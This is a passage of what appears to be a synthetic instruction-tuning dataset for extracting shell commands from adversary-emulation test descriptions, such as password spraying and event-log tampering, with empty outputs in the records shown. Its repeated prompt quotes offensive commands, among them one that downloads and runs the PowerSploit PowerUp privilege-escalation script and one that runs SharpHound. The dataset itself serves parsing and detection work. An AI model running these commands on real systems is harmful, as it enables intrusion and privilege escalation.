{ ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Download and execute shell script and write to file then execute locally using Python -c (command mode)",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Uses the [Named Pipes Micro Emulation](https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/micro_emulation_plans/src/named_pipes) executable from the Center for Threat Informed Defense to create a named pipe for inter-process communication.\n\nThe named pipe executable will pause for 30 seconds to allow the client and server to exchange a message through the pipe.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test simulates an adversary modifying access permissions for a Windows Event Log channel by setting the \"CustomSD\" registry value. Specifically, it changes the Security Descriptor Definition Language (SDDL) string. These modifications can restrict or grant access to specific users or groups, potentially aiding in defense evasion by controlling who can view or modify a event log channel.\nUpon execution, the user shouldn't be able to access the event log channel via the event viewer or via utilities such as \"Get-EventLog\" or \"wevtutil\".",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Use the ip neighbour command to display the known link layer (ARP table) addresses for hosts sharing the same network segment. \n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Spawns a powershell.exe process as a child of the current process.",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Make and modify [capabilities](https://man7.org/linux/man-pages/man7/capabilities.7.html) of a C source code file.\nThe binary doesn't have to modify the UID, but the binary is given the capability to arbitrarily modify it at any time with `setuid(0)`.\nWithout being owned by root, the binary can set the UID to 0.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Attempt to brute force all Active Directory domain users with a single password (called \"password spraying\") on a domain controller, via LDAP, with NTLM or Kerberos\n\nPrerequisite: AD RSAT PowerShell module is needed and it must run under a domain user (to fetch the list of all domain users)\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Utilizing PowerShell cmdlet - get-wmiobject, to enumerate local groups on the endpoint. Upon execution, Upon execution, information will be displayed of local groups on system.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n 